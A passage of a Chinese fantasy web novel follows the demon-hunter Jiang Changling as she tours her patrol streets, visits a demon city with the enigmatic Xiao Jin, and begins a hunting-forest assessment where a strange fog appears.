“不多说了,我先带你熟悉熟悉这里的街道小巷,等会再告诉你巡视的路线。”黎追收回了那游离的思绪,把重心又重新拾取回来。
姜长泠也跟着回过神来。
“这条街名为素梅街,是靠着妖都最近的一条街,虽说路有些窄,但平日里很是宽敞,鲜少有车马路过。”黎追话音刚落下比便一个起势跃上了屋檐,“随我来。”
而周围的百姓都已经见怪不怪。
见状,姜长泠也跟上黎追的步伐,于是乎两人便这么站在屋檐之上侧身俯视看向解宿。
解宿仰着头,尴尬地笑笑对他们挥了挥手:“我就不去打扰你们了,你们去吧,不用管我的。”
“失陪了解宿姑娘。”黎追对她一颔首转身就带着姜长泠跳去另一条街的屋檐去了。
只不过了一会,解宿便化为了灵体状态跟在了她身边。
姜长泠默默注意到了,但依旧将情绪藏得很好。
一天下来,她眼看着晨灿的天色转变为落日黄昏,大片橘色的云层占领着高空。
今天除了听黎追向她介绍各个街道的不同之处以外还感觉到了这上空中的风要比在街道上更加凛冽一点。
“大概就是这样,反正其他的地方还有定踪堂和断尘堂管辖,便无需过多担心。”黎追说完这句话后,脚总算是沾到了地面上。
他不禁拍了拍自己的脸,闷声道:“这风吹的我脸都僵了。”
“多谢黎大师兄这一天的指引,明日我再自己熟悉熟悉。”姜长泠对着黎追行了一礼。
黎追朝她摆摆手道:“师妹不必如此客气,这些都是我应该做的。”
“看这天色,我们也应该快要放班了,届时会有传字符传下来。”
“嗯。”
“不如一会一起到公膳堂用膳?”黎追忽然问道。
姜长泠微愣,想来也不好回绝便应了下来:“好。”
倏然间,一张符咒就这么降到了两人的面前。
本还以为是放班的传字符到了,谁知那符咒落下的时候还带着声音。
“师兄!救命!速来长鸢街望月楼!”
黎追接住那张传音符,不禁揉了揉自己的太阳穴,略带歉意道:“看来今天这顿饭是吃不成了,抱歉啊师妹。”
46. 妖城
“无妨,人命要紧。”姜长泠道。
黎追对她一颔首,手夹着符纸在虚空中绘出阵法,待灵光一现时,衣衫飘然,挪动半步便了了无影踪。
只留下那看不见的张福茫然地驻留在原地。
“你说,这张福会是黎追的妹妹么?”解宿看了张福一眼后,又趁机变幻为了实体。
“虽说我在记忆中并没有见到黎大师兄,但张福这反应定是认识他。”姜长泠微微蹙着眉,心里五味杂陈。
解宿拱了下她的肩膀问道:“那你打算怎么办?真要帮她?”
“你会武吗?”姜长泠突然问她。
“跳舞吗?这个我倒是不太擅长...”解宿呵呵一笑。
姜长泠纠正过来:“我说的是武功。”
其实她问这话的时候心里还抱有一丝侥幸,毕竟方才她与黎追跃上屋檐之时,解宿便没跟上。
谁知,解宿挑了下眉:“你说呢,我都到这般修为了。”
“方才那是我不想打扰你们才没跟上的,说吧,怎么了?”
“想帮她。”姜长泠眼神黯淡下来,“但就凭我们两个的话,还是不够。”
“这有何不够的?”解宿想了想,又问道:“那要是加上那个魔界来的贵府公子呢?”
姜长泠心中猛地搏动一下,随后摇摇头道:“此法不可。”
解宿终于发现了其中的端倪,问道:“话说回来,你们两个的身份天差地别,你是如何与他结识的?”
“...怎么说呢,就是在初见时他于临危之际救我,再后来,便就这样了。”姜长泠也不知怎么解释。
“这中间的事情你怎么只字不提?人家可是时刻注意你的情况,顶着宵禁也要远赴到你家门前帮你除掉缠上你的冤魂的关系,想来也不能算是普通朋友了吧?”这倒是让解宿迷惑了。
“就是普通朋友,他这么做...是情有可原的。”姜长泠无力地解释着。
掠过的长风像是穿透了她的胸膛,将那颗炽热跳动着的心脏都裹上了一层凉意。
解宿抛去一个不争气的眼神,对她道:“要我看你就是被他那人畜无害的外貌给骗了。”
“不会的。”姜长泠说着话便抬步向前走去。
“那张福还帮不帮了?”解宿跟上她的步伐。
姜长泠瞥向张福,语气有些低迷:“帮,但在之前我还要先跟他说一声。”
她已经预料到惹某人生气,最后被关押进暗无天日的地牢的结果了。
但她还是想试试。
“他?你跟他说做什么,他又不会帮你。”解宿有些不满。
“这里面有隐情不方便告知于你,总之这件事情还是要跟他说的。”姜长泠道。
“那你现在要去哪里?”
“当然是县去妖都公膳堂用膳。”
“噗,差点忘了你还要进食。”解宿噗呲一笑。
姜长泠:...
*
姜长泠用完膳从妖都公膳堂出来后,天空已然一片黯蓝,近傍晚时候。
“接下来呢,你要去哪?”解宿问道。
“找他。”姜长泠简短答道。
“那你都计划好了?”解宿眼看着她手中蓄起一团灵力。
“嗯,等我回来与你细说。”
解宿看不懂她要做什么,只见她手中灵力的威压从手中蔓延至全身,闭上眼时,莫名刮来一阵寒风,像她招来似的。
不过一会,姜长泠蹙起眉,周身的威压更盛。
隔着有点距离路过的同门都被震住了,纷纷好奇地朝这劲压看来。
不因什么,只是姜长泠想在灵海之中捕捉到萧烬的灵息,可他的灵息不知为何实在是离她太远了,她不得不再调动灵力屏息专注。
“长泠...你...”正当解宿以为姜长泠要走火入魔之时,气流中携来一阵雪花,姜长泠便在她眼前消失了。
恰巧这幕被刚走出来的阮诗情看到了,她身后正跟着许堂。
她皱着眉问道:“方才姜长泠施展了什么道术?”
许堂思忖须臾,丝毫不敢怠慢道:“如果我没看错的话,那应当是灵力追踪之术。”
“灵力追踪...?那不是高阶捉妖师才会的东西吗?她又算是个什么东西?”阮诗情气不从一处来。
“师姐...还是要谨言慎行。”许堂低下眉瞥了瞥四周。
阮诗情啧了一声:“少管我,我说她说的有错吗?她只不过是从个乡野之地出身的草包,也不知偷偷爬上了哪个师兄的床学的道术。”
许堂环顾周围,本还想说些什么劝阻她,最终还是没有开口。
*
姜长泠忽然感觉周身变得暖洋洋一片。
这次她虽然也是用了灵力追踪之术,但相较于之前不同的是,她没有从空中落到地面,而是就这么平缓地追踪了过来。
这表明她的追踪之术又精进了一步。
她睁开眼睛,率先映入眼帘的便是一轮圆月挂在海与天接连之处,磷光无尽。
这里似乎是一处阁楼,布局倒是有些和客栈相像,只不过面对这浩空海域的窗相较于其他是有点大了。
而靠近在窗边的一隅之地,正放着用竹编织的一把躺椅。
躺椅之上,正静静地躺着一个闭着眼睛的男子,呼吸平缓,似乎丝毫没有察觉到她的到来。
睫毛乌黑长垂,眉毛绒郁,太过乖巧了,就连平常那股与生俱来的傲气都消失殆尽。
姜长泠突然意识到自己有些唐突了。
以往他们见面时,都没有过用传音符谈话,全是萧烬自然而然地找到她的,久而久之,姜长泠便也习惯了,这下轮到姜长泠找他,事情却没有那么简单了。
这还是需要讲究天时地利人和...
她不敢多看萧烬一眼,默默转过身去背对着他。
千算万算,就是算不到他会在睡觉...
她冷静下来看向房门,心想着不如先出去先打探下这地方一会再回来,如果回来的时候他还没醒,那她再用灵力追踪回去淮庆城好了。
于是她小心翼翼地推开房门,没发出一点响动。
不过刚踏出了一步,那连廊中便响起了一个甜美的声音:“公子~”
随着这一声,姜长泠将半个身子也探了出去。
一名女子
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身穿青色纱裙,额角处明显纹着曲折蜿蜒的青色花纹,妖冶又艳丽向她款步走来。
那艳丽女子一见到她嘴角的笑容忽而就沉了下去,略有些尴尬地问道:“姑娘…你…”
姜长泠竖起手指嘘了一声,示意安静。
女子没再出声,而是探头向她身后望去。
“打扰了。”姜长泠低声说了一句,便准备把门关上离开。
女子面色有些不虞,她明明在这长廊站了许久,可也不曾见有这样一号人物来过他们这里,这女子究竟是谁,竟敢如此擅作主张?
“姑娘怎么如此眼生,不知是几时进的观海楼?”女子说话间反而刻意地挺高了声线。
此话一出,姜长泠的脸上果然露出诧异的神色。
她更加得意了,本还准备盘问到底,可还没等她问下一句话,姜长泠便向后退了两步,木门也随之关上。
那女子就这么吃了个闭门羹。
不巧的是,姜长泠震惊的原因并不是这位女子的询问,而是身体又不自主被操控了。
萧烬一定醒了。
“抱歉,我来的太突然了,吵醒你了。”姜长泠愣在原地当即认了错,缓缓转过身去。
“你可知这是什么地方?”
萧烬的声音还带着些暗哑,躺在椅子上的姿势倒是没变动,唯一变动的就是睁开了眼睛。
那阵矜贵傲气又回来了。
“不知。”姜长泠实话实说。
“妖城。”萧烬不去看她,转头看向外面的海,“这座城里的人全都是妖。”
姜长泠的思绪被拉回,冷静思考了片刻又问道:“听闻妖族的市井文明早在三百年前消失了,莫非现今还存在?”
“你懂的还挺多的。”
萧烬从躺椅上站了起身,默默捋了捋衣袍看向她:“当然存在,不过这妖城可没你想的那么安全。”
“说吧,找我什么事?”
姜长泠本想着单刀直入说起张福的事情,但她脑中灵光一现,鬼使神差地问了一句:“这次,你怎么不在旁边看着我了?”
房中的暖炉柴火烧得噼啪作响。
萧烬的内心忽而有些微妙的变化,但具体他也说不上来是为什么。
“怎么,不习惯了吗?”萧烬问道。
“并非如此。”
姜长泠有些不确定地看向他:“你信任我了?”
“与其说是信任,不如说是我不想再被误会了而已,要是被当成你的仰慕者,我怕是咽不下这口气。”萧烬笑着看向她那倔强的表情。
“我想也没有人这么蠢三番四次去赴死吧?”
姜长泠纹丝不动的神情莫名出现一丝窘迫。
完了,心思又被猜透了。
她叹了一声:“我...我想帮她。”
“若是连我都不帮她的话,这世上就没人能帮她了,那些无辜的姑娘又是何其的不幸。”
姜长泠清冷的眸中闪过诚恳的光:“而且你也说过,一个只有我看见的局也注定只能是我来解开,不是吗?”
萧烬看着她认真的模样愣了愣,眼中透过一丝无奈,淡淡道:“我不拦你便是了。”
47. 酒鬼
姜长泠眼睛水汪汪地盯了他一会,见他丝毫没有不耐烦的冲动,便道:“好。”
“这么远过来找我就是为了说这件事?”萧烬挑眉问道。
“以免夜长梦多。”姜长泠道。
毕竟她身边本就有一只鬼缠着为伴,再来一只躲在她家角落每天都阴暗地盯着她,她的耐心会被磨灭殆尽的。
况且这件事很可能与黎追有关,若是能破谜,或许还能给钟婆和黎追一个安慰。
萧烬闷笑一声,问道:“既然远道而来,可有兴趣逛逛这妖城?”
姜长泠自是对书上不知虚实的地方感兴趣,她点点头。
“那你可要跟紧我了。”萧烬向她走来,略过她直奔向门口。
雪松的气味萦绕在她鼻尖,她眼前顿时开朗一片,毫无保留的无边海域便映入她的眼眸,海潮一次次在海面上卷涌,推动着月光。
壮阔又神秘。
开门的声音响起,她的思绪才回笼过来。
她转过身去,跟在萧烬的后面出了门。
那女子依旧呆在连廊的末处,一见到萧烬,她立马一脸娇羞地走来:“公子,怎么那么快就出来了?有什么事情都可以吩咐小女的。”
说完,还无意将肩膀上的青纱扯落了下来。
萧烬并没有因她的话而停下来,只是轻轻瞥了她一眼脸庞,温声道:“姑娘,请自重。”
女子见萧烬没有要留下来的势头,情急之下她头脑一热便伸手要去抓萧烬的衣袖。
反正先斩后奏,撒娇哭惨,哪个男人能抵御得住?
谁知,她的手刚伸出去便只能像鸡爪一样凌在空中,脚上更是灌了铅一样动弹不得。
饶是她想要张嘴说话,也只能发出嗯嗯呜呜的声音。
姜长泠用余光看了她一眼便也知道她发生了什么。
无非又是被萧烬控制了。
“这观海楼拢共有二十层,现在我们在顶层。”
萧烬饶有兴趣地介绍起来。
她知晓此处很高,但怎么也没想到居然有二十层之高。
“那我们要走阶梯下去?”
这连廊一眼望不到头,结构上倒也和那万善堂的回字形相似,不过并没有万善堂大。
“当然可以走。”萧烬走过了个拐角,本是一排的厢房就变成了敦实的墙体,顺着墙体看去,再就是一扇门,门上挂着一串铃铛。
“但这毕竟是妖城,所以会有飞鸟来接。”
正当姜长泠听得云里雾里之时便看着萧烬站在那扇门前,木门便自己推了开来,周围瞬时扑来凛冽的寒风,而清脆的铃声也迎风响起。
而外面是一方悬空着的平台,夜色尽数揽入眼帘。
萧烬看向她笑道:“要不要试试?”
姜长泠有些茫然:“怎么试?从这里出去吗?”
带着翅膀扑腾的羽翼声逐渐贴近,再近些时,飞鸟宽大的背部便停留在了平台之下。
“嗯。”萧烬率先往前走去。
姜长泠也迟疑地跟了上去,踏进平台时,她没预料到这海风竟刮得如此之猛,吹得她重心都偏移了半分。
待她站在飞鸟的背上时,整座妖城灯火辉煌便尽数收入她眼眸。
萧烬在这寒风中站得笔直,对着她道:“你站着容易摔倒,会后悔的。”
“不信。”姜长泠也学他站得笔直。
“不信就算了。”萧烬唇角不自主地勾起,随后对着飞鸟道:“劳烦到一层。”
飞鸟仰头叫一声,十分有灵性的会意放缓了扑腾翅膀的速度,往下降去。
可就这么一个微乎其微的动作,便让姜长泠不禁向左右踉跄了一下。
风速实在太急,即便是她能稳住身形,也有在半途被吹走的可能。
萧烬看着她摇摇晃晃的身姿,眉间藏着无奈,心想怎么会有如此木讷之人。
“笨不笨。”
风声太大,姜长泠听不清他说了什么,只见萧烬把手伸过来抓住了她的手腕一拉,她便毫无防备地往前走了一步。
在转瞬之间,她耳边的狂风声归于虚无,取而代之的是嘈杂的人声。
一眨眼,他们就正站在了市井小街上。
站在地面时还有不真切的感觉。
而这还弥散着浓厚的妖息。
姜长泠除了在妖都的地牢外就没有感受到过如此饱满的妖息了。
藏匿妖息本就是妖的天性,而像在这里藏都藏不住的,她还是头一次感受到。
而且乍一看这妖城中来往着都是普普通通的人,但只要仔细看每个化身为人形的妖都会打扮得靓丽浮夸,衣袍颜色明艳饱和,和他们淮庆城的百姓完全不相像。
“怕吗?”萧烬单手背过身向前走去。
“不怕。”姜长泠也跟上萧烬的步伐,“但我有些困惑,既然这里都为妖城,可为何这些妖还是要炼化为人的模样生存?”
萧烬道:“当然是趋于同化,怎么说这也是三百年后了,聪明的妖早就被妖都打怕了。”
也是,三百年前四大镇妖世家正式确立横空出世,那是一场和妖血流成海的战争,也是在史书上浓墨重彩的一笔。
战争过后,四大世家便在百姓面前树起威望,可谓举世闻名,堪称老百姓中的定海神针。
后来,镇妖世家部署麾下,招教弟子,逐渐发展分支,现今延展出三处,四处在扩。
三处之外的地方则是分别存于不归妖都管辖的捉妖师。
姜长泠点点头:“原来如此。”
不远处,一位长着兔牙体态丰裕的女子突然抓着裙摆逆着人群向他们跑来一边嘟囔:“怎么会有如此丰神俊朗的男子!我要爱上他了!”
“人”群都被荡开了一条路。
姜长泠对这种从未见过的突发事件还是忍不住止住了脚步。
直到那兔牙女子站在原地两眼放光盯着他:“公子!和我交/媾吧!”
萧烬却直接忽略了她继续往前走去。
见状,姜长泠也只好立马跟了上去,没等她问话,又看见有两个赤色眼睛的姑娘急匆匆地从她身边跑了过去。
“她又发情了!真是丢死人了!”
“赶紧把她拉走。”
这一刻,姜长泠便知道了为什么萧烬会说这妖城不
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安全了。
妖天性如此,欲望都是控制不住的。
不过这点倒是让她更加疑惑了,于是她开口问道:“这里这么乱,你怎么会想到来妖城?”
萧烬嗯了一声后便说道:“纪念故人。”
她第一反应便是萧烬原来也有妖族的朋友么?
可是后来又想了想,毕竟是贵族子弟,人脉广了点也是正常。
“抱歉,问了些不该问的。”姜长泠摸了摸脖子。
“何需道歉,这本就与你无关。”
“那我还有个问题想问的。”姜长泠道,“既然你已为贵府之人,又何苦练出如此高的修为?”
还没等萧烬回答,另一个醉酒的声音便在她耳边响起:“姑娘,有没有兴趣来跟我去喝一杯?”
另一条手臂便顺势要搭上她肩膀。
萧烬闻言向她侧目看来,那酒鬼欲想要搭上来的手便停在了半空中,手肘处忽然向反方向一拐,痛得他惨叫声连连。
与此同时,一张镇妖符也贴在了那酒鬼的额头上。
正是出自姜长泠之手。
这惨叫声本吸引了群妖的视线,纷纷抱着看热闹的心态准备凑上来的,谁知姜长泠掏出了一张黄符,妖群中便猛然炸开了锅。
“这这是黄符!!”
“哎呀!是臭道士混进来了!”
“快跑啊!”
一部分害怕地撞着跑了,而另一部分站在原地不动的,都是想跟她过两招的。
眼神都杀气腾腾。
姜长泠顿时有些束手无策。
萧烬见这场面觉得甚是有趣,对她道:“妖城没有城管,更没有人敢管你,放开身手打便是了。”
打?要在别人的地盘闹翻天?
这个念头在姜长泠的脑海中浮现第一下便被否决了。
若是放在以前,在姜长泠还以为萧烬是个凡人的时候,她定会出手,但如今这个情况萧烬还让她出手,目的不言而喻了。
这摆明是想为难她。
气氛剑拔弩张,在众目睽睽之下,姜长泠只好默默地扯下贴那酒鬼额头上的镇妖符撕成碎片讨好道:“大家别生气,都是假的,闹着玩的。”
那酒鬼举着反过来的手肘又继续惨叫起来。
众妖的目光又朝她看来。
姜长泠抬起双手道:“如各位所见,我只是一个手无寸铁的女子罢了。”
“大哥,你说句话,是不是这个女的弄的你!”一个挺着大肚子的壮汉率先打破了这僵局。
那酒鬼疼得正迷糊,闻声抬头看清姜长泠的模样,龇牙咧嘴的表情霎时就收了回去,转而猥琐地笑了:“回去给我当娘子我就原谅你,不然你休想离开这条街!”
酒鬼话音刚落,他的另一只手也反了过来,连带着双膝噗通一声便跪下了。
“哎呦喂!啊!好痛啊!呜呜呜...弟兄们给我干/她!”
围观的却无一妖敢动,看向姜长泠的眼神都变得清澈了起来,甚至带了点畏惧。
姜长泠转头看向萧烬,萧烬仍是一脸无辜的模样,直到他淡然地瞥过来笑着问道:“看我做什么?”
48. 考核
这会却轮到姜长泠有些无奈。
到底是谁惹起来的祸端?
“我不是什么妖都会抓的。”姜长泠对他道。
萧烬轻笑了下:“我当然知道,只是单纯看不惯他而已。”
“那你现在打算如何脱身?”
“那你还想继续看妖城吗?”
姜长泠看着周围一片凶神恶煞的妖陷入了沉默。
于是萧烬上前握住了她的手腕:“不逗你玩了。”
顷刻间,姜长泠的眼前又变换了另一个场景。
她这是又回到了雀云院中的家中。
四下寂静无比,仿佛刚才那妖城都是南柯一梦。
这一来二去,灵力也不知消耗了多少,可萧烬一点疲惫之姿都没有,永远都是那样一副风轻云淡的模样。
手腕被松开,姜长泠忍不住问:“你当真只是从魔界来的贵府公子?”
“嗯?”萧烬笑了,“我好像从来没有自报过家门。”
姜长泠怔然,顿时哑口无言。
“我的身份你还是不要知道为好。”萧烬淡淡笑着,“你明天好像还有一场考核吧?”
姜长泠缓缓点头,还没消化完那句身份还是不要知道为好是什么意思。
“早点歇息吧,我先走了。”
话音刚落,房中最后的活息也消散离开了。
桌上烛火还在默默燃着,这时,解宿才偷偷摸摸门外飘进来。
“长泠,他这话什么意思,他不就一普通的贵府公子哥吗?”
姜长泠解释道:“现在我也不清楚了。”
这里面的各种曲折情节解宿都不曾了解,只是总觉得这两人相处起来很奇怪,不过再具体的她也无法溯源追究了,她干脆抛开这个疑问道:“那你今天去找他,他可有说要帮你?”
“他说了不会拦我。”
解宿又是一脸疑惑:“不拦你?他这话又是什么意思?”
姜长泠想了想说:“言外之意是他会帮忙。”
毕竟萧烬的本意是想让她安分下来,如今说不拦她,那不就意味着萧烬任由着她去做有危险的事情么?
解宿心中的谜团更加大了,但也忍住了没问:“嗯...也行吧,那你可有计划了?”
“嗯,想要窥探这背后的阴谋必须以身入局。”姜长泠看向那角落蹲守着的张福,“你之前说亲眼看见过在宵禁时有黑衣人当街劫走女子,那是什么时候发生的事情?”
解宿想了想说道:“很久之前,但最近也发生过。”
姜长泠沉思。
这点足以证明这幕后黑手势力之强大。
不仅是在宵禁时出去作乱,甚至过了这么久还无一人揭发。
而且那地方还设有着挡鬼的屏障。
想到这里姜长泠后背又一凉。
这次她的行动定要步步为营,如履薄冰才行。
“那你打算什么时候开始行动?”解宿见姜长泠一直没回话不免举起手在她面前挥了挥。
“明天晚上。”姜长泠目光坚毅,“明天我便跟黎大师兄请示后天休沐。”
解宿眼眸中流露出敬佩之意:“你可确定了?这可是吃力不讨好的事情。”
姜长泠轻轻叹息:“嗯,我想渡她入轮回,唯有化她执念了。”
“有没有人曾经对你说过,怜悯心太过泛滥并不是件好事?”解宿笑道。
闻言,姜长泠微微瞪大了眼睛:“有。”
“那便不奇怪了。”
这话说完,解宿脑海中又浮现出一个邪恶的想法:“那如果我一直缠着你,你会不会也帮我找寻身份记忆?”
姜长泠有些难堪:“那也得有头绪才行。”
解宿噗嗤一笑:“逗你玩的。”
姜长泠:...
*
次日,白雪覆遍大街小巷。
姜长泠在淮庆城中走了一上午并未发现什么乱况,到了晌午便去了公膳堂吃过了中饭。
差不多时,她便去了清阙堂签灯。
昨天她便在堂中的告示板上看见她的名字是在下午考核的批次之中。
面对着这未知的考核,姜长泠有些紧张和兴奋。
门口逐渐迎来了三三两两的捉妖师,纷纷在签灯后在堂中随意寻了一处位置盘腿而坐。
姜长泠看见了也效仿着寻了一处靠后的地方而坐。
不过刚坐下,她便看见了黎追身边跟着阮诗情和一众女捉妖师进了门。
一在瞬间炫亮的灵力从好几人的指尖上迸发四散开来分别飘进各自对应名字的夜明珠之上。
黎追从一进门便左顾右盼,直到视线落在了姜长泠身上才停了下来,笑道:“姜师妹来这么早?”
姜长泠循声而去,莞尔道:“黎大师兄来的也不晚。”
简短地聊了两句后,黎追便继续迈着步子向前走去,而阮诗情则是依旧贴在黎追的身侧。
“长泠,那女子绝非是善茬,方才黎追只是跟你打了招呼,我看她那眼神就像是淬了毒一样。”解宿也学着盘腿而坐在姜长泠身旁,“一会考核你定要提防着点。”
“好。”
清阙堂中逐渐变得热闹起来,而唯有姜长泠与人群隔绝开来。
不知过了多久,站在门口的人对着黎追喊了一声:“时辰到了,人也都齐了!”
黎追颔首会意,堂内的人也都默契地安静下来。
人群面前正站着三人,分别都穿着墨绿色长裳,而孟绝并未到场。
“一会到了捕妖林千万不要逞强挑战高于自己水准以外的妖兽,若是打不过一定要用瞬移符逃走。”黎追说着,每个人的面前便降下了三张瞬移符。“别以为这是在定魂铃里就不会受伤啊,在捕妖林中受的伤一样会反馈在身上。”
“黎大师兄别废话了,赶快开始吧,每年你都说这么多,你不腻我们都腻了。”人群中一个男子不耐烦地率先起哄。
“就你嫌腻,麻溜闭嘴坐好。”黎追回怼他一句,接着道:“考核时长为两个时辰,大家可以做好准备了。”
于是周围一片的人纷纷都闭上了眼睛。
“你也快点闭上眼。”解宿提醒姜长泠。
姜长泠应声闭上,陷入了一阵沉寂之中。
“定魂铃一启,过程有点头晕都是正常的,稍微在原地歇会缓解就会好了。”
堂中静静回响着黎追的声音,下一瞬便接上了清脆
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的铃声。
碎响充斥满堂。
像是昨晚在观海楼之上搭乘飞鸟前那扇门上的小风铃摇曳的声音。
定魂铃的声音一点一点由远及近,最后靠近姜长泠耳畔时终于停了下来。
刹那间,姜长泠印堂处便感觉到有温热飘逸而出。
顿时身轻如燕。
不过这种感觉只短暂持续了一会。
有风声吹过时,姜长泠便尝试着慢慢睁开了眼睛。
眼前的地方果真不再是清阙堂。
而是一隅空地,离他们再远些的地方便是一片树丛杂林。
她的位置和在清阙堂中的对比丝毫没有变化,甚至她的同门也依旧是坐在她前面,连三个大师兄师姐的位置都不曾有变动。
不同的是,只有她是清醒过来的。
她忽然在想自己是不是不该睁开眼睛。
正当她无措的时候,坐在她前面的一个同门却僵直地往旁边倒了过去。
不等她前去查看怎么回事,更多的同门也跟着栽倒了下去。
她立马站起身走到最近的一个同门身旁,蹲下身晃了晃他的肩膀:“同门?醒醒。”
这时,那三个师兄师姐也渐渐睁开眼睛动了起来。
刚恢复过来的黎追还在甩头。
见状,姜长泠抬头看向黎追问道:“黎大师兄,他们这是怎么了?”
黎追好像没醒过来,居然看见了师妹比自己醒得还快,他克制住头晕的感觉道:“别怕,都是正常的。”
既然黎追这么说了,姜长泠便默默地将手收了回来。
她站起身来,转身看了一眼身后的景色。
万万没想到的是,他们身后竟是一方悬崖。
这莫非是意味着没有退路吗...
黎追终于完全醒过来,先是收起了手中的定魂铃,随后仍是看见姜长泠的醒来有些不可思议。
“姜师妹,你怎么能做到醒得如此之快?”
闻言,姜长泠回过身去含笑解释:“我亦不知,只是感觉到了捕妖林便睁开了眼睛。”
“看来姜师妹前途不可限量啊。”站在黎追旁边的另一名女子捉妖师也笑着夸奖。
姜长泠在朝会之上记得这位师姐,当时她就是与这名师姐互汇了灵流,师姐名字也很是好听,名为云寐。
“师姐过奖。”姜长泠拱手。
躺在地上横七竖八的同门也逐渐醒了过来。
“啊!为什么我这次又是睡着过来的!”
“别说了,躺着怎么你了,除了师兄师姐谁还不是躺着过来的?”
“头好晕...”
众人纷纷从地上坐起来,有些恢复快的便已经站了起来。
除了在中间的位置还有着一个女子静静躺着,似乎睡得十分安详。
坐在她身旁的同门只好去推搡着阮诗情。
“怎么诗情姐每次都醒得最慢?”
“嘘,这话可别给诗情姐听到了。”
“醒了的人可以自行前往捕妖林了。”云寐道。
此话一出,站在原地的同门纷纷拿出了自己提前绘好的传送符往地上一丢掷,接二连三地踏入法阵后便消失了踪影。
49. 山神
云寐和另一个大师兄也在原地闪身离开了。
“姜师妹,你先别走,我再与你细说一番这考核的内容和进去捕妖林要注意的事情。”黎追边说边往姜长泠的方向走去。
“有劳黎大师兄。”姜长泠拱手道。
“应该的。”
黎追走到她身旁:“你应当也看到了,进入捕妖林共有三条路,分别通往不同难度的妖林,从左至右的顺序分别为低、中、高,你需先从低阶的妖林捉起,只要成功降服一只低阶的妖兽即可前往下一个阶级的妖林,以此类推。”
姜长泠顺着黎追所说的方向看去,那捕妖林的入口确实站满了人影,通通都往第一条路奔去。
她点点头后,黎追继续道:“降服了对应阶级的妖后你便会得到一个小小的锦囊,而这锦囊上也会有不同的颜色,低中高阶的妖的颜色分别对应为白绿黑。”
“若是你顺利地降服了中阶的妖兽想要挑战高阶,那你可千万要小心了,打不过的话记得随时用瞬移符逃走。”
“还有,在捕妖林中的妖兽行走缓慢,并不会主动攻击人,只有你让它感受到灵息威压时才会主动攻击,一旦妖兽启灵,它便会与你结下契约,结下后,这一里路的范围内它便只会攻击你,且会隐身于其他捉妖师视野之中。”
黎追说完后再想了想问道:“你可还有什么疑问?”
姜长泠摇摇头:“多谢黎大师兄。”
“不必多礼,我和云寐他们都会在妖林之中巡守,为的是应对突然情况,要是你有什么危险是连瞬移符都解决不了的话记得立马烧传音符给我。”黎追笑道。
“好。”
“祝你一帆风顺,无伤通过高阶妖林。”
姜长泠低头道:“不敢当,承蒙师兄期许。”
话毕,黎追没再开口,只是墨绿色的长裳一转一飘便在她眼前消失了。
姜长泠也从袖中抽出符纸,准备绘出传送阵。
另一边的阮诗情早已醒过来,目睹了她和黎追谈话的全程。
“姜同门,我看你也算是沾了新人的光才能让黎大师兄如此关照你。”
她还没从刚才的眩晕不适的感觉完全走出,苍白的唇角生硬地扯出一个笑容:“既然这样我也是要关照一下你的,传送阵就别画了,用我们的吧?”
她的身边跟着两个熟悉的同门还有一个许堂。
而许堂此时也正在绘制传送阵。
姜长泠回以礼貌微笑:“谢邀,我自己也可以的。”
一会的功夫,她便以灵力为引便迅速地画好了三张符纸,甚至比趴在地上犹豫着如何绘制的许堂还要快。
姜长泠丢掷出符纸,荧蓝的灵光便在地上一现:“你们慢慢来,我先走一步。”
瞬间,她便传到了那捕妖林的入口处。
阮诗情朝那远处的捕妖林看了一眼,恨得她牙痒痒,抬脚就踹向了许堂:“你怎么回事,怎么会忘记画传送阵这么重要的事情!”
许堂哎哟一下便摔倒在地上,拿着符纸的手都略微颤抖着却还是强硬笑着:“阮师姐,你也知道的我能力有限,不过是一个低阶罢了...”
“呵,你的实力在哪里我很清楚,你倒是在这谦虚起来了是吧?”阮诗情冷笑着用脚蹂躏着许堂的后背,“你今天让我颜面尽失,本捉妖师很生气。”
“既然今日天气如此宜人,不如就让你娘卷铺盖睡大街如何?”
旁边的同门看不下去开口劝道:“诗情姐算了,别踢坏了,一会还有用呢。”
许堂大气不敢喘,只能赶忙支起身子试着绘出传送阵法的下一笔:“我错了,我...我我马上就画。”
*
姜长泠相较于其他同门来得更晚了一些,进入捕妖林时周遭颇有些冷清。
凌乱的枯草在树林两边随地可见,自她踏入这片林子后,便像是进入了什么结界领域一般。
更奇怪的是,她在郁郁葱葱之中走了好一会,一只妖兽也不曾看见。
忽然间,树林骤静,不知何处起的白雾开始萦绕在丛间。
这白雾来的不快也不慢,只向着姜长泠靠拢。
姜长泠无论怎么走也还是会被白雾包围,只好站在原地抬起衣袖捂住口鼻,而另一只手捏着瞬移符。
莫非是她无意间被在这里栖息的妖兽的下了契约么?
白雾逐渐飘到她身边,周围的视野已然变得朦胧不清。
她的不安也随之放大,不等这雾再大起来,她就忍不住用了手中的瞬移符。
灵息晕染符纸,她也在刹那间感受到身体有细微的变动,可眼前的雾气依旧浓厚。
十分诡异。
不过幸好这白雾被吸入后并没有产生任何不适。
这瞬移符没了用处,姜长泠也只好保持警惕在这白雾之中观察一会。
“咳咳...这捕妖林什么时候起雾了啊?”阮诗情不满的声音从她身后不远处传来。
“诗情姐你不害怕吗,这林子今日倒是有些反常啊...”
“这有什么好怕的,一会就散了,放心吧。”
她明明用了瞬移符,怎么还会跟阮诗情他们撞上?
白雾太浓,已经到一步之外看不清的程度,那阮诗情和另外两个同门手牵着手一字排开向前走着,几乎是要撞上姜长泠时才停了下来。
“哟,姜同门怎么还在此处啊?”阮诗情打趣起来,完全没注意姜长泠手里鼓捣着什么。
“你们之前来这捕妖林也遇到过起雾的情况吗?”姜长泠正低头绘着符文。
她还没开口说话,身旁的另一个同门倒是先抢着开了口:“从来没有遇到过。”
阮诗情继而默默地翻了个白眼道:“没遇到过又怎样,林子里面起雾是什么很奇怪的事情吗?大惊小怪的。”
说完她便要绕过姜长泠向前走去。
这当然奇怪,对于定魂铃之中创造的幻境是人为的,所有事情都是循规蹈矩的,若是发生了什么别的设定以外的东西,那他们的性命便很可能会交付于此。
“先别乱走,这里不对劲。”姜长泠只好先给出忠告,随即驱动了方才绘好的符咒。
“呵,你这么说无非只是想拖慢我们而已。”阮诗情冷哼一声转而看向姜长泠,脸色微微变了,“你这是在做什么?”
跟在后面慢了一截的许堂恰好听到了这句话,他
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抬头眯眯眼看着姜长泠抛在空中正熠熠生辉的符纸:“这...这好像是御风符?”
“转身。”
“什么?”
话音刚落下,一阵强风便从后向前刮来,横扫整片树丛。
路径上的尘灰和枯草也都被卷到空中顺带着白雾被吹走。
这风似要将地底给掀翻似的。
这下阮诗情终于知道为什么姜长泠让她转身了。
路上的五个人都识相地背对着风,重心都放低了些。
